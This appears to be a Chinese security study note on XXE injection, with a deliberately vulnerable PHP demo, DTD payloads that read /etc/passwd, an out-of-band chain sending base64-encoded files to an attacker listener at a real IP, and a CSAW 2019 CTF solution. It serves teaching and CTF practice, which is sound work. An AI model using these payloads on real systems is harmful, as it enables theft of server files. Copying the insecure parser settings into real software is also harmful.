本文最后更新于 2026年3月4日 晚上
前置知识 漏洞成因 解析时未对XML外部实体加以限制,导致攻击者将恶意代码注入到XML中,导致服务器加载恶意的外部实体引发文件读取,SSRF,命令执行等危害操作
漏洞特征 在HTTP的Request报文出现一下请求报文,即表明此时是采用XML进行数据传输,就可以测试是否存在XML漏洞。
1 Content-type :text/xml application /xml
DTD 内部实体(无利用价值) 1 2 3 4 5 6 7 8 <!ENTITY 实体名称 "实体的值"> 例如: <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe "hello"> ]> <foo>&xxe;</foo>
外部实体 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机, 外部实体的引用可以利用如下协议 file:///path/to/file.ext http://url/file.ext php://filter/read=convert.base64-encode/resource=conf.php 例如: <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" > %xxe; ]> <foo>&evil;</foo> 外部evil.dtd中的内容 <!ENTITY evil SYSTEM “file:///d:/1.txt” >
漏洞利用 漏洞演示 1 2 3 4 5 6 7 8 9 10 11 12 <?php error_reporting (0 );libxml_disable_entity_loader (false );$xml = file_get_contents ('php://input' );if (isset ($xml )){ $dom = new DOMDocument (); $dom ->loadXML ($xml , LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom ($dom ); $benben = $creds ->admin; echo $benben ; }highlight_file (__FILE__ );
通过提交xml,可以显示想要的内容,利用伪协议读文件
不同的语言支持的伪协议不同
使用外部实体检索文件 如何判断xxe?bp抓包
分析报文,发现漏洞注入位置
构造payload
使用参数实体读取文件 1 <!ENTITY suny SYSTEM "file:///etc/passwd" >
传入服务器,开启http服务
1 2 <!DOCTYPE user [<!ENTITY % suny SYSTEM "http://183.66.27.22:18546/1.dtd" >%suny;]> <user><username>&suny;</username><password>suny</password></user>
无回显XXE外带数据 内部DTD禁止参数实体再次调用参数实体,所以我们依旧把它放到服务器上
1 2 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://183.66.27.22:42916/?p=%file;'>">
服务器开启监听,在靶机上发送
1 2 3 4 5 6 7 <!DOCTYPE conver [ <!ENTITY % remote SYSTEM "http://183.66.27.22:18546/2.dtd"> %remote; %int; %send; ]> <user><username>suny</username><password>suny</password></user>
这样就把数据外带出来了
实战 [CSAWQual 2019]Web_Unagi upload页面可以上传xml文件,直接构造payload
1 2 3 4 5 6 7 8 9 10 11 12 13 <?xml version='1.0'?> <!DOCTYPE users [ <!ENTITY admin SYSTEM "file:///flag">]> <users> <user> <username>111</username> <password>111</password> <name> 111</name> <email>1111@fakesite.com</email> <group>CSAW2019</group> <intro>&admin;</intro> </user> </users>